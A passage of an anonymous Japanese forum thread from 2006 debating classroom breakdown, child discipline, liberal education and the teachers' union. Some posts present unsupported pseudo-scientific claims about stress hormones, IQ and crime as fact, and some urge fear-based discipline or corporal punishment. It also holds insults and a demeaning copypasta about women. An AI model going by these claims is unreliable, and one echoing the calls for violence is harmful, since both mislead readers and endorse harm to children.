73 :名無しさんの主張:2006/10/15(日) 00:11:06
>>70
あなたが賛成できるのは、あなたがリベラルな思想の持ち主
だからでしょう。

74 :名無しさんの主張:2006/10/15(日) 00:12:39
>>71
親の躾もそうなんだが、学校でやるべきことをやらないことも同じ。
学校は子供にとって最初の社会なんだから、そこで社会性を持たせる
ようルールを徹底し、それを守るということを実践させる必要がある。
それを放棄するから問題が起こり、学級崩壊が起こる。

75 :名無しさんの主張:2006/10/15(日) 00:15:19
人間は人間として生まれるというよりも、教え躾けることで人間となる。
それが人間的社会性を持つ、ということ。
社会性のある人間に育てるのに一番大切なのは、幼児期の親の対応。
次に始めての社会ともいえる学校での教育。
こういった過程で鍵になるのがセルフコントロールの能力を養うということ。
もう一つは、道徳観、その人間の良心と言ってもいいが、これは幼児期の
親の育て方が決定的に大切だと、心理学的にもいえるし、セルフコントロール
の能力を養うことも同様だということが、大脳生理学なんかの知見や、最近の
IQと社会性の関係についての研究でも言えそう。
道徳を教える、といっても、裏打ちとなる信仰のない日本人にはどう教えていい
のか戸惑う面があるかもしれないが、ただ標語的に人を傷つけては
いけないだとか、理屈で教えてもあまり意味がないように思う。
自分がやられて嫌なことは他人にするな、と諭してその時には子供を納得
させられても、成長するにつれて、嫌だと思う感性が人とズレるかもしれず、
他人の心に対する想像力が欠如した人間になっている可能性もある。
心理学では、幼少期に育まれる道徳的な観念、これを「超自我」という。

76 :名無しさんの主張:2006/10/15(日) 00:15:52
それが、その人間の持つ良心、というものになり、パーソナリティーの根幹となる。
これは何を言っているのかというと、要するにどこの国でも伝統的に子供に
対して行っている躾であり、理屈ではなく、悪いことは悪いと叱りつける
ことによって、理屈ではなく、その「悪い行為」と、 親の愛を失うかもしれない
という恐怖感、あるいは折檻への恐怖を結びつけて記憶させ定着させる、というもの。
叱られたこと自体は忘れてしまうかもしれないが、ある行為と結び付けられた恐怖
のイメージは残る。
だから、理屈でどう考えようとも、ある行為について実行することを考えただけでも
不快感、不愉快な感情が起こる、というわけだ。
セルフコントロールの能力はというと、まずこう考えてほしい。
人格ができあがっていない時期に子供の権利だとか個人の尊重だと称して箍をはずして
しまうとどうなるか。
生じる結果は二つで、公共性をもたない自己中心的な人間の誕生と、ルールに
沿うということを免れることで、感情の激発を抑制する能力が欠如した人間が
生まれるということだ。
言い換えるとこれは「ブチキレ」る人間を生むということ。
なぜかというと、人間というのはある行為を強いられると、ストレスが生じる。
ストレスが生じたときに人間の脳は抗ストレス性のホルモン分泌を促す。
このホルモンは、分泌作業が繰り返されるほどに、器官機能が向上してより多くの
ホルモンを分泌するようになる。

77 :名無しさんの主張:2006/10/15(日) 00:16:30
つまり、適度なストレスを与えてやることによって、ストレスに耐性を持った子供
、セルフコントロールできる子供になるというわけ。
これを加味して考えると、子供の権利だ、平等だとして、ルールをはずし、強制
することを悪だとして排除していけばどうなるのかが、より明確になるはず。
ストレスに耐性を持たない子供が、よりストレスのかかる社会に出た場合、そして
もし、それまで経験したことのないような大きなストレスに直面したらどうなるか
ということを考えれば、人格の形成されていない子供たちを、権利だ自由だと野放し
にすることの具がわかるはず。
授業中に歩き回ったりする子供、おしゃべりをやめない子供の発生というのは
その結果かもしれないし、そのような状態で教師が注意しないということが、自分を
抑制できない子供を生んでいるともいえる。
またこれは、社会性の最大の要素、プライベートとパブリックの区別を子供たちに
認識させることを教師が放棄しているとも言える。
自分を抑制する能力が未熟で、公のルール意識が希薄、自分以外の者のことを考えず
欲求のまま行動する子供。
このような傾向が犯罪率に大きく関わってくるのは普通に考えてもわかるが、以前
毎日新聞の科学欄で、裏づけになるような記事があった。
人間のIQには何種類か存在するが、それらを束ねる要のIQというのがあるそうだ。
これは人間の前頭葉の発達に関わっている。

78 :名無しさんの主張:2006/10/15(日) 00:17:06
そしてこのIQと、犯罪率や一つのこと(仕事など)を根気よく続けられるか否か
、ということが深く関わっているのだという、IQと社会性の関係についての研究を
紹介したものだった。
で、問題のIQが低いと、反社会的になるというのだが、前頭葉の特定部分の成長を
促し、問題のIQを育てることに重要なのが、幼児期の親の躾、ルールに適応させる
訓練である、という内容のものだった。
前頭葉と社会性の関連でもう一つ言うと、最近の少年犯罪などを見ていると、被害者
の心に対する想像力の欠如というものを感じるが、前頭葉はその能力を担っていると
いうこと。
理屈で道徳を諭しても「他人の心に対する想像力が欠如した人間になっている可能性もある」
と先に書いたが、そういった人間になるのを避けるためにも、このことは重要だろう。
もちろん、このような教育的な問題だけで、社会がバラ色になる、などと能天気なこと
は考えていないが、良い社会を生み出すために最低限必要な一つの要素だと思う。

79 :セニョール・五十嵐 ◆40WnEtzSeY :2006/10/15(日) 00:19:39
>>74
そもそも学級崩壊とは、学級という無理に枠に押し込もうとしたから起こるのですよ。

団塊ジュニアの僕の小中学校時代には、一学級45人ぐらいだった。

こんな息苦しい学級でも生徒のストレスも溜まり、いじめも起こりやすくなるね。

それではどうすればよいか?

大学の研究室のように少人数制にして、各自の個性を語らせる。
会社のプロジェクトのような存在でよい。

村意識なんて持たせたらダメだ。

例えば、青年海外協力隊では、派遣前訓練でまさに運命の出会いのような素敵なグループ
を作ることで有名だが、とても心地よい関係だという。

個性とは何か、自由とは何か、それが追求できない教育は間違っている。

ちなみに、「中田英寿さんの引退ブログ」を授業で扱った学校は素晴らしいと感心しているよ。

80 :名無しさんの主張:2006/10/15(日) 00:24:27
>>79
まったく逆、
いまはむしろ内容が薄くなっている。
学級崩壊の原因は簡単で、おしゃべりや歩き回ることを注意し、叱る
ことをしないから。
いぜん大学生が講義のとちゅう、おしゃべりで教授から退出するよう
言われた。
あとから来た生徒たちは謝罪したが、彼らがいうには、今まで学生生活
で、授業中のおしゃべりで叱られたことがなかったそうだ。

81 :名無しさんの主張:2006/10/15(日) 00:25:31
たとえ教師が叱ったとしても、幼児期からセルフ・コントロールの能力
を養っていないと、当然そのストレスに耐え切れず、ぶちキレルことになる。


82 :名無しさんの主張:2006/10/15(日) 00:29:19
オウムに入信する若者の話を聞いても、しかりつける麻原に父性を
感じた、という理由が多かった。
つまり、彼らは親や教師に叱られたことがなかったということだ。

83 :セニョール・五十嵐 ◆40WnEtzSeY :2006/10/15(日) 00:33:20
うーん、国民性の問題かな?

例えば、ラテン系の国は比較的教育に甘い。
おしゃべりであることも、人間らしさだとすれば、大人の社会も
その性格を受け入れる体制が必要である。

日本は、ラテン系の国と正反対の社会構造を持つ。
だから、人間らしく育ってきた子供は、青春期になってから
大人の社会との摩擦で、ぶちぎれたりするわけだ。

それが問題だね。

ま、人格形成に厳しい英国系の国(アメリカ)では、当然、教育者による抑圧も多く
自殺率も高いし、暗く暴力的な側面がある。

つまり、今の日本がすべきことは、人間らしさに忠実な甘美な社会を築くことなの
かもしれない。
イギリスやドイツやオランダや米国のような、非ラテン国でも、ラテン国の暖かい甘美な人間的な
社会を目指そうとする動きも起きている。

84 :名無しさんの主張:2006/10/15(日) 00:35:04
>>83
ラテン系の国が放置主義的だというなら、学級崩壊は当然のごとく
起こり、犯罪発生率も激高だと思うが…。

85 :名無しさんの主張:2006/10/15(日) 00:36:24
さきの述べたように、放置し、自由にさせるということは、前頭葉
の発育を促さず、セルフコントロールの能力が欠如した人間を作る
ということだから。

86 :セニョール・五十嵐 ◆40WnEtzSeY :2006/10/15(日) 00:36:33
だから、>>79にも書いたように、もともと、学級という概念がいけないんだって。

87 :名無しさんの主張:2006/10/15(日) 00:37:39
また、人間らしさというのを動物的と捉えるか、社会的と捉えるのか
によって考え方が違うでしょう。
私はあくまで人間は社会で生きる限り、社会性を持っているものだと
考える。

88 :名無しさんの主張:2006/10/15(日) 00:38:47
>>86
学級でもクラスでもいっしょ。
学年や時間割に縛られないという失敗したアメリカのリベラル教育の
延長線上にある考え方でしょう。

89 :セニョール・五十嵐 ◆40WnEtzSeY :2006/10/15(日) 00:40:54
基礎学力は必要だと思うが、選択科目の自由化は必要ではないか?

ルソーの消極教育論によれば。

http://gipvodn1.shinshu-u.ac.jp/el/e04b1/class04/rousseau.htm

90 :名無しさんの主張:2006/10/15(日) 00:42:31
>>89
それはあってもいいと思うよ。

91 :名無しさんの主張:2006/10/15(日) 00:43:22
ただし全部が全部選択可能にするんじゃなくて、最低限必要な
授業もあるとは思う。

92 :名無しさんの主張:2006/10/15(日) 00:46:29
ある外国人の書物で
「日本人には宗教心が無い」と外国人が思っているのは
間違いであると著者は語っていた。
日本人(民族)は日本人であることが宗教なのだとね。
勿論日本でも色んな宗教が信仰されているが
これは宗教ではなく宗派的な存在であると定義している。
日本教・何々派として日本人は宗教を信仰しているのだと。
無責任な第三者の意見が実は一番的を得ている場合が
結構ある。
それを読んで自分もハッとさせられた。
確かにそうだと思う。そこから日本人は思考しているのだと。
左翼・右翼思想だのその他の思想も宗派に過ぎない。
実際の日本社会がどうもそれらにきちんと当てはまらず
なぜか古来からの慣習的な思想・行動が基本軸になって
日本人全体が思考しているように感じたのは
”日本教”が存在するからか。
日本人自身、単一民族で他からの流入がほとんど無かったので
”日本教”を意識する必要も無く、存在も感じなかった。
ただ、現代では日本の置かれた環境は変わってしまった。
なんかここら辺にキーワードがあるような気がするな。


93 :名無しさんの主張:2006/10/15(日) 00:48:57
>>92
日本教というのは、山本七平も言ってるね。
私個人としては、仏教や神道が混在した死生観が一つの宗教だと
思うし、欧米人の知識人もそう指摘する人がいる。

94 :名無しさんの主張:2006/10/15(日) 00:50:18
日本教というのは、村意識の一つの現われと考えることもできるけど
、これは島国という地政学的なことから発生しているんだと思う。

95 :名無しさんの主張:2006/10/15(日) 00:51:47
一方でヨーロッパなどは、国家もそうだけど、宗教的な集まりなど
教会を中心とした濃い共同体が形成されている。
しかし、それは個人主義と相反してはいない。

96 :名無しさんの主張:2006/10/15(日) 01:03:01
また、古来からの伝統や慣習に縛られて行動し、ものを考えているのは
何も日本人ばかりではなく、そもそもそういった人たちの集まりが「民族」だ。
誰もその影響からは逃れられない。

97 :名無しさんの主張:2006/10/15(日) 01:11:36
>>74 放棄はしていないと思う。
  以前の日本の子供なら家庭で身に付けていた
  基礎的な部分がまったく出来ていないまま
  学校教育に参加してきたのが現実だと思う。
  その部分は親の領域であり
  他人(教師)が入り込もうとしたら親自体が
  拒絶するだろう(まっとうな親なら)。
  そして必ず新たな問題(裁判沙汰)に発展するだろう。
  最終的には子供の責任は親が取るしかない
  他人はそこまではしてくれない。
  期待する方がそもそも間違ってる。

98 :名無しさんの主張:2006/10/15(日) 01:21:21
>>97
親の責任もあるが、教師は教師でやるべきことがある。
それは既に説明したから繰り返さないが、それをまっとうに行えば
学級崩壊などは起こらないはずだ。
そして、それを教師がなそうとしたときに問題が起こる、つまり
親がクレームをつけるので、できない、というのなら、それはまた
解決すべき問題ではあるでしょう。
しかし、実際には思想的理由から指導せず、むしろ権威の否定、自由の
強調と、義務の排除、反国家主義的教育の成果といえる。
だからこそ国立のような事件も起こるわけで、このようなことは海外で
はありえない。

99 :名無しさんの主張:2006/10/15(日) 01:23:29
極端になるが、左翼教育の象徴として。

小林秀雄は「考えるヒント」(新潮社)で某中学教師の手記にある次のような事件
を紹介している。
クラス討議の時間、先生が議題の「教室であばれないやうに」について、「教室
で、あばれては、何故いけないのか」と生徒に問う。
生徒は「教室は勉強するところだからです」「あばれたければ、校庭に出れば、よい」
と答える。
先生は「校庭では、無論、あばれてもよい。しかし、教室では何故あばれてはいけない
のか」と重ねて問う。
生徒は混乱して騒然とし、一人が「常識ぢゃないか」と言ったのを聞きつけた先生は
続ける。
「常識?常識って何だね。そんなわかったやうな、わからないやうな、いいかげんな
ものは信じられないね」
「議長ッ!」と手をあげた生徒が言う。
「教室で、あばれると、窓ガラスや机や椅子をこはすからいけないのです」。
これに対して先生はこう答えた。
「うん、なるほど。だが、何故、窓ガラスや机や椅子をこはしてはいけないのか。
君たちはあばれたい。それなら、ちょっとあばれるとこはれるやうな安物のガラス
を、何故入れて置くか、と考えないか」先生は窓ガラスを指で弾いて言う。
「こんなやくざなガラスを入れたのは誰か。やくざな政治家だ。政治が、なっていないのだ」
それ以降、生徒は教室で暴れ放題に暴れることを、決して止めなかったという。
「「悪魔祓い」の戦後史」稲垣武


100 :名無しさんの主張:2006/10/15(日) 01:25:03
ちょっと風呂に入ります。

101 :名無しさんの主張:2006/10/15(日) 01:29:58
>>93 そうだと思う。
さらに付け加えると、朝鮮・中国との交流も
有史当初からある程度、距離をとって
付き合ったことも関係する。
大陸の人間は日本にあまり興味を示さなかった。
それは日本の太平洋側に大陸が無かったからで
中継地点としての島国の役割も持たなかった。
よく言われる”終点”の場所だった。
アメリカ大陸があるなんてことは知らなかったし
あまりに遠過ぎた。
そのため”孤立”した存在と成り
周りに邪魔されず
独特の日本教が日本人の潜在意識の中に
浸透していったのだと思う。



102 :名無しさんの主張:2006/10/15(日) 01:36:11
詭弁の特徴
1:事実に対して仮定を持ち出す
2:ごくまれな反例をとりあげる
3:自分に有利な将来像を予想する
4:主観で決め付ける
5:資料を示さず自論が支持されていると思わせる
6:一見関係ありそうで関係ない話を始める
7:陰謀であると力説する
8:知能障害を起こす
9:自分の見解を述べずに人格批判をする
10:ありえない解決策を図る
11:レッテル貼りをする
12:決着した話を経緯を無視して蒸し返す
13:勝利宣言をする
14:細かい部分のミスを指摘し相手を無知と認識させる
15:新しい概念が全て正しいのだとミスリードする
16:さも当然のように未決着事項を前提にする。
17:論点をすりかえる。
18:事実の一部のみを抜き出してミスリードする。
19:相手に譲歩したと見せかけながら、自分の意見を押しつける。
20:条件の包含関係を間違える
21:全てか無かで途中を認めないか、あえて無視する。
22:勝手に極論化して、結論の正当性に疑問を呈する。
23:自分で話をずらしておいて、「話をずらすな」と相手を批難する。
24:ネタと決めつけて議論を停止させる。
25:嘲笑で優位に立った様に振舞う
26:反論の代わりに詭弁ということにしてすます

103 :名無しさんの主張:2006/10/15(日) 01:58:54
>>98 いまいち君の考え方が分らんな。
別に学校関係者でも無いし、左翼信奉者でも勿論無いけど
優先順位を間違って無いか?
身内に甘いってのも日本人的と言ってしまえば
それまでだけどさ。
俺でも今の学級崩壊は止められんよ。
強制的にやれば出来るかもしれないけど
リスクが高すぎるもん。
問題が起こったら保護者に吊るし上げられぞ。
自分たちの躾の悪さを認識もせずにね。
マスコミ・社会からもね。
そういう国だよ。この日本は。
それと俺が教わった先生なんてたいした奴は
いなかったよ。
典型的な”事なかれ主義”の先生ばかりだったよ。
”責任”や”協調”とか自分たちに都合のいい言葉を
使って適当に子供を管理してただけだよ。
そんなの当然子供たちも分っていたし
俺なんか軽蔑してたよ。
だってこの人たちは普通の大人の社会で揉まれて無いもん。
そんな人たちに自分の子供の責任を押し付けるなんて
考えられないな。


104 :名無しさんの主張:2006/10/15(日) 01:59:47
極論すると教育改革で今必要なのはスパルタ手前の躾だよ
どう論を並べたところでとりあえず恐怖で縛らない限りガキは従わない
これが現実、理を並べたところでガキには聞く耳も解する頭も尊重する気も
ないんだからね

105 :名無しさんの主張:2006/10/15(日) 02:06:01
今の日本の理系ってさ、
学生のころは変質者呼ばわりされて
受験科目は文系よりも多く
大学入ったら実験とレポートに追われ
苦労して書き上げたレポートは文系チャラ男にコピーされ
バイトだ合コンだ彼女だと浮かれてる文系を横目に研究をやらされて
文系が使い古した中古の女を押し付けられ4年間を終える。

大学院に入ってからは教授の講演の資料を作らされ
一層難しくなった授業にはギリギリついていくものの
研究室内の派閥抗争に巻き込まれゼミ発表では私恨交じりの吊るし上げを喰らい
教授にはお前今まで何やってたんだと怒鳴られ
相手してくれない男は嫌いと彼女には逃げられる。

論文と実験ばかりで就活する暇はないし
中間審査を通過するころには大手の採用は打ち切られやむなく子会社下請け。
会社に入れば口ばかりの文系に顎でこき使われ出張転勤の日々
営業部門が取ってきた無計画な仕事の尻拭いをさせられ残業は月200時間オーバー。
同僚は親会社と下請けとの板挟みにあって自殺して
博士号取得したかつての同期がニートになった話を小耳に挟みながら
会議で黙っていればコミュニケーション力が足りないと言われ
斬新な案を出せば「お前は会社を潰す気か」と罵倒され
結局採用されれば隣席の文系野郎に「俺のおかげだ」と持っていかれ昇進は遅い。

家に帰れば家庭を顧みないパパだと言われ
生涯賃金は文系より5000万円低く、稼ぎが少ないと馬鹿にされ
油まみれの作業服は臭いと言われ
ついに高血圧と残業が祟って不幸な最期を遂げる

106 :名無しさんの主張:2006/10/15(日) 02:07:24
>>103
たしかに親の責任は大きいんだけど、日教組教育を続ければ
学級崩壊のようなものが起こるのは必然で、だからこそはるか
以前から、このような状況になるだろう、というのは保守系の知識
人も予言していた。
なぜ予言できるかというと、それが必然的帰結だから。
そして、リベラル教育が暴力教室を生み出したアメリカの例がそれ
を裏付けている。
ということは、このような状況は教育の改革で強制可能ということ
でもあるわけ。

107 :名無しさんの主張:2006/10/15(日) 02:09:18
また、教育改革で強制できるということは、そもそもの原因は
教育制度にあったともいえるわけで、だからリベラルな教育
とともに犯罪が急増した。

108 :名無しさんの主張:2006/10/15(日) 02:12:36
権威やルールを蔑ろにし、教師も含めて平等だという。
子供の権利を強調し、共同体の構成員としての義務や責任を語らない。
そして、国家を個人と対立するものだとする。
ルールを悪として、どんどん排除する。
このような教育をすれば、公共心も養われず、また秩序を維持する
ために必要なセルフコントロールの能力など養われるはずがない。
よって、学級崩壊のようなことが起こるのは当然、というわけだ。

109 :名無しさんの主張:2006/10/15(日) 02:12:56
人生経験もろくにない学校あがりの教師に出来んのか?
横暴な教師の言い訳だよ
競馬でさえ馬がいうこときかないから鞭できかせろなんて言葉をきいたことない
つーか言葉で説明して説得できない教師の言語能力の方が問題じゃねえか

110 :名無しさんの主張:2006/10/15(日) 02:15:09
教師も生徒も平等だと教壇の段差をなくしたり、みんな平等だと
徒競走で横一列にゴールする。
卒業式などでは、起立する教師もいればしない教師もいる。
どのような生徒が生まれるかは自明でしょう。

111 :名無しさんの主張:2006/10/15(日) 02:16:09
>>109
それが思想の怖さだし、まず第一に彼らは絶対首にならないとわかっている。

112 :名無しさんの主張:2006/10/15(日) 02:20:09
赤ん坊が泣き止まないから殴る親の言い分みたいだな
生徒の体罰以前に教師への体罰が必要だよ
みっちり教育しろ

113 :名無しさんの主張:2006/10/15(日) 02:20:32
>>99 ほんとに極端な例だなww
現実社会はもっとつまんないよ。
俺もそんな授業受けてみたかったよ。
大抵はこの逆だろ?
「そんなの常識だ」と先生に決めつけらることの方が
多かったよ。
まるで国立大学の付属小学校で行われる
実験的な授業の一コマみたいだな。
今の若い先生に自分の時のような
高圧的で集団優先主義の先生は
少なくなったかもしれないが
こんな先生もいないだろと思ってしまう。
安定志向でそのために先生なった奴ばかりだよ。
まあそれも偏見か・・・


114 :名無しさんの主張:2006/10/15(日) 02:22:02
>>113
たしかにわかりやすいように、極端な例を出したが、この延長線上
にあるような教師が多かった。
なんせ日教組の加入率は100%だったんだから。

115 :名無しさんの主張:2006/10/15(日) 02:23:39
今でもたとえば、自衛官や警察官を「権力の犬」と罵り、それらを父
にもつ生徒を虐めるような日教組系の教師、また日教組に加入していな
い教師への虐めも実際あるらしい。

116 :名無しさんの主張:2006/10/15(日) 02:24:42
>>112
それも極端。

117 :名無しさんの主張:2006/10/15(日) 02:25:14
子供は大人と比べ言語能力が劣ってんだから教師の方が歩み寄って何を感じてその様な問題行動をするのかと聞き出す努力をすべきだな
それをしねーで体罰とはちゃんちゃらおかしいわ

118 :名無しさんの主張:2006/10/15(日) 02:25:38
「これは地方でよく聞く話ですが、自衛隊の子弟に対する教師のいじめがあるという
のです。
まず社会科の授業で「軍隊というのは人殺しだ」という話をさんざんするわけです。
そのすぐあとで、ひどい場合は児童・生徒の前で、またそうでない場合でも、自衛官
の子供を呼び出して「お前のお父さんは自衛隊員だろう。なんでそんな人殺し稼業を
やっているのだ」というのです。
教師が、自衛官の子供をいじめる。
親の職業を理由に、名誉を汚されて、どれほどその子は傷つくか、教師は考えた
ことがないのでしょうか。
これは直接、被害者から聞きましたから間違いありませんが、それも一つや二つ
ではないです。
そういうことを組織的にやっている。
しかしそれが一切、表には出てこないのです。
ある自治体では、隊員の住民登録の受付が拒否されたこともあります。
まるでオウム真理教の信者に対するのと同じです。
このような扱いをして、いざというときに「国のため、国民のために戦え」
といえるでしょうか。


119 :名無しさんの主張:2006/10/15(日) 02:26:03
>>116
極端じゃないよ

120 :名無しさんの主張:2006/10/15(日) 02:26:09
あるいは日教組に入っていない教師に対するいじめもあります。
出勤してみると、机の上に何もなかったとか、授業する教室のガラスが割られて
いたりする。
証拠がないと言われればそれまでですが、明らかにそれとわかるような形で、
嫌がらせが行われるというのです。
防衛庁では、職務上の理由で自衛隊員を大学院等で研修させていますが、自衛隊員
であることを理由に東大をはじめとする国立の大学や大学院に入学を拒否されたり、
たとえ入学できた大学でも、自治会の左翼学生の妨害で通学できなかったケースもあります。
朝日新聞が本来ならば激怒するような「人権侵害」が、長年にわたって行われて
きているのに、朝日新聞はそれに触れません。」井沢

「元内閣調査室長・佐々淳行氏が書いていましたが、佐々さんのご子息が、授業中に
教師から父親の職業について「権力の犬である警察官」と嘲笑されるようないじめ
に遭ったそうです。
それでさすがの佐々氏も激怒して、学校に怒鳴り込んだそうです。
それをしたのは女性教師だったそうですが、佐々さんの家まで来て、玄関で土下座
して謝ったそうです。
それで何とか許してやった、という話がありますけど、警察官にまで及ぶというのは
、これは一体、どういうことなんでしょうか。
こちらまで憤りを覚えます。」稲垣


121 :名無しさんの主張:2006/10/15(日) 02:27:06
「そもそも、日教組は政治団体です。
特定の政治イデオロギーを唱えて行動して、選挙でも特定の政治団体の候補者支援に活発に
動くという団体、そういう団体が教職員の大きなグループとして教育界を牛耳り、動かして
いるということ自体が、国としては深刻な病気の状態といえるかもしれません。」古森

「朝日新聞の大研究」稲垣武・井沢元彦・古森義久


>>117
言ってわかる子供にも、また理解力のある子供にも体罰が必要だ
などと誰も言っておらん。

122 :名無しさんの主張:2006/10/15(日) 02:28:47
>>119
誰がみても極端。

123 :名無しさんの主張:2006/10/15(日) 02:29:18
>>122
極端なのはお前

124 :名無しさんの主張:2006/10/15(日) 02:30:41
>>123
君には理解力が必要。
言葉を理解する子供が言うことをきかない、ということを前提
に話をしているのに、赤ん坊の例を出すのは的外れ。

125 :名無しさんの主張:2006/10/15(日) 02:32:12
教師を体罰しろ
特に税金で教えてる教師だ

126 :名無しさんの主張:2006/10/15(日) 02:32:41
>>125
それこそ大問題になる。

127 :名無しさんの主張:2006/10/15(日) 02:33:10
>>124
理解力が必要なのはお前

128 :名無しさんの主張:2006/10/15(日) 02:34:13
教師に限らず職務規定に従わない公務員は首にできるようにする必要
がある。

129 :名無しさんの主張:2006/10/15(日) 02:34:57
>>127
君、寝ていいよ。
赤ん坊の例がなぜ的外れかは指摘したから。
それで理解できないならね。

130 :名無しさんの主張:2006/10/15(日) 02:35:49
>>129
お前が寝ろ
理解力を鍛えてから来い

131 :名無しさんの主張:2006/10/15(日) 02:36:43
>>130
なんで適切な例か説明してみ。

132 :名無しさんの主張:2006/10/15(日) 02:36:44
>>124
頓珍漢なことばっか言ってるなキミ

133 :名無しさんの主張:2006/10/15(日) 02:37:27
>>132
誰がみても変なのは君なんだが…。

134 :名無しさんの主張:2006/10/15(日) 02:37:37
>>131
お前が言え

135 :名無しさんの主張:2006/10/15(日) 02:38:08
>>133
誰がみても変なのは君なんだが…。

136 :名無しさんの主張:2006/10/15(日) 02:38:28
>>131
すでに言ったじゃないw
本当に理解力がなかったとは…。

137 :名無しさんの主張:2006/10/15(日) 02:38:45
>>136
だから理解力が無いのはお前だって

138 :名無しさんの主張:2006/10/15(日) 02:38:59
>>131じゃなくて>>134ね。

139 :名無しさんの主張:2006/10/15(日) 02:39:20
>>124
人みて法をとけ
意味が通じない言葉を並べても無駄
赤ん坊に話してんのと同じだろ

140 :名無しさんの主張:2006/10/15(日) 02:39:46
相手の言っていることを理解し、諭されてなおかつ自分の欲求
を抑えられない子供の話をしてるわけでね。
それに対して、言葉を理解できない赤ん坊を例に出したってw



141 :名無しさんの主張:2006/10/15(日) 02:40:33
サヨクってこんな馬鹿ばっか?

142 :名無しさんの主張:2006/10/15(日) 02:40:49
>>104 だから現実的に無理だって。
他人の子供に対してはそれをやれって言う親や大人は
たくさんいるけど
いざ自分の子供・身内が対象になったら
180度態度を変えちゃうんだから。
典型的な日本人のパターンなんだよ。
自分の身内は対象外として発言するからね。
その集合体なんだよ、日本人ってのは。
だから世間の声も非常に無責任で
真に受けて物事進めると頓挫(現実にそぐわない)してしまい
結局他人のせいにする・・・・
そして時間が経つとみんな忘れて同じことを繰り返す。
そのパターンはうんざりだ。


143 :名無しさんの主張:2006/10/15(日) 02:40:53
>>141ってこんな馬鹿?

144 :名無しさんの主張:2006/10/15(日) 02:41:05
>>141
その通り。

145 :名無しさんの主張:2006/10/15(日) 02:41:29
>>143
その通り。

146 :名無しさんの主張:2006/10/15(日) 02:42:24
>>142
だから、教師には自分の子供に対して言うことを聞かなければ
体罰もふくめて(平手くらいだが)指導してほしいと願う親は
少なくないんだよ。


147 :名無しさんの主張:2006/10/15(日) 02:42:59
サヨク=馬鹿でいい?

148 :名無しさんの主張:2006/10/15(日) 02:43:46
>>147=馬鹿でいい?

149 :名無しさんの主張:2006/10/15(日) 02:44:31
言うこときかない教師自身は体罰されたくないけど言うこときかない子供は体罰か
笑っちまうなw

150 :名無しさんの主張:2006/10/15(日) 02:45:16
もちろん、それに対してクレームをつける親もいるから、そして
それが法的に問題だから体罰ができないんだけど。
しかし、体罰までいかなくても注意くらいすべきところをしない
のが問題なんだよ。
思想的な理由から。

151 :名無しさんの主張:2006/10/15(日) 02:46:02
>>148
君が馬鹿なのはみんな知ってる。

152 :名無しさんの主張:2006/10/15(日) 02:46:22
>>151
君が糞馬鹿なのはみんな知ってる。

153 :名無しさんの主張:2006/10/15(日) 02:47:14
>>152
今何話してるか一言で言ってみw

154 :名無しさんの主張:2006/10/15(日) 02:47:17
教育という名の洗脳。規範の内面化。

155 :名無しさんの主張:2006/10/15(日) 02:47:51
>>153
お前理解力無いから話しても無駄

156 :名無しさんの主張:2006/10/15(日) 02:48:11
教育というのはある種の洗脳であることはたしか。

157 :名無しさんの主張:2006/10/15(日) 02:48:39
>>140
昔の教師はそこまでしたんだろうけどな
いまはしてないだろ
だいいちそこまでしてりゃ子供と心の通じてない教師はいないはずだな
心が通じてれば子供は言うこときくよ

158 :名無しさんの主張:2006/10/15(日) 02:48:45
>>155
はいはいw
話してることが理解できるようになったらまたおいで。

159 :名無しさんの主張:2006/10/15(日) 02:49:31
>>157
言葉だけで子供が理解できるなんていうのは幻想。

160 :名無しさんの主張:2006/10/15(日) 02:49:42
>>158
お前だろ理解できていないの
あるいは間違った厨臭い理解をしている
頭を良くしたらまたおいで
まあ無理だあろうけど

161 :名無しさんの主張:2006/10/15(日) 02:50:26
>>159
幻想見てるのはお前の方

162 :名無しさんの主張:2006/10/15(日) 02:50:37
だからこそ、アメリカでもルール違反には罰則を設けている。

163 :名無しさんの主張:2006/10/15(日) 02:51:20
>>160->>161
はいはいw
おやすみ。

164 :名無しさんの主張:2006/10/15(日) 02:51:22
言うこときかないのはなんでこんな先公のいうこときかにゃならんのよって気持ちからだ

165 :名無しさんの主張:2006/10/15(日) 02:52:04
>>163
お前がやすめ
糞レスアンカー野郎が

166 :名無しさんの主張:2006/10/15(日) 02:52:15
言葉で説明して生徒が言うことを聞いてくれるんなら罰則など
設ける必要はないわけでね。

167 :名無しさんの主張:2006/10/15(日) 02:53:16
>>165
で、何話してるかわかった?

168 :名無しさんの主張:2006/10/15(日) 02:53:47
>>167
お前はわかったフリしてるだけ

169 :名無しさんの主張:2006/10/15(日) 02:54:18
>>168
いや、聞いてるのは俺w

170 :名無しさんの主張:2006/10/15(日) 02:54:46
自衛官の息子の話も極端だな。
友達にも親が自衛隊員の奴が何人かいたけど
その手の話は聞いたこと無いし・・・
まあ、まったく無いとは言わないが
それは個人的にその先生が駄目な奴なんだろう。
そういう思想を持っていたとしても
それをその子供に転化するのは
思想以前の問題になってくるよ。
そういう人は違う思想を持っていても
やはり同じことするじゃない?
例えば教師の子供をいじめるとか
逆バージョンでも成立してしまう話でしょ?


171 :名無しさんの主張:2006/10/15(日) 02:54:51
>>169
お前は聞こえてると思い込んでるだけ

172 :名無しさんの主張:2006/10/15(日) 02:55:53
>>170
それは日教組系の教師がいないか、少なかったからでは?
引用文にあるように、この手の話は少なくないらしい。

173 :名無しさんの主張:2006/10/15(日) 02:56:36
>>166
信頼されてないからだろ

174 :名無しさんの主張:2006/10/15(日) 02:57:18
>>171

思想に染められていなくても天然で同じような人はいるかもしれないが
日教組という組織の思想から考えれば当然の態度でね。

175 :名無しさんの主張:2006/10/15(日) 02:58:12
>>173
信頼されていれば必要ないなら、罰則など設ける必要はないよね。
そんな国ある?

176 :名無しさんの主張:2006/10/15(日) 02:59:41
信頼されていようがいまいが、罰則強化、管理強化によって是正
されたわけでね。

177 :名無しさんの主張:2006/10/15(日) 03:02:05
聞きたいんだが、一週間以内に問題行動をする子供と放課後一緒に川遊びしたり駄菓子屋行って話し合ったりする教師がどれだけいると思う?
いまの教師でそんなことするのはいないと断言できるのだが

178 :名無しさんの主張:2006/10/15(日) 03:03:04
その努力をせず羊を追い立てるような教育してんのが教師なんだよ

179 :名無しさんの主張:2006/10/15(日) 03:04:27
>>177
問題行動のある生徒と川遊びをすれば更正するわけですか?
そんな暇があるかどうかという問題もあるし。
それで更正されるとする根拠はなんです?

180 :名無しさんの主張:2006/10/15(日) 03:06:08
>>177-178
日本が日本の良さを失ってアメリカ化してきたってことだな

181 :名無しさんの主張:2006/10/15(日) 03:07:22
>>180
失敗したアメリカを追随している。

182 :名無しさんの主張:2006/10/15(日) 03:08:17
なんか、話し合えば戦争はおきない、みたいだな。

183 :名無しさんの主張:2006/10/15(日) 03:10:13
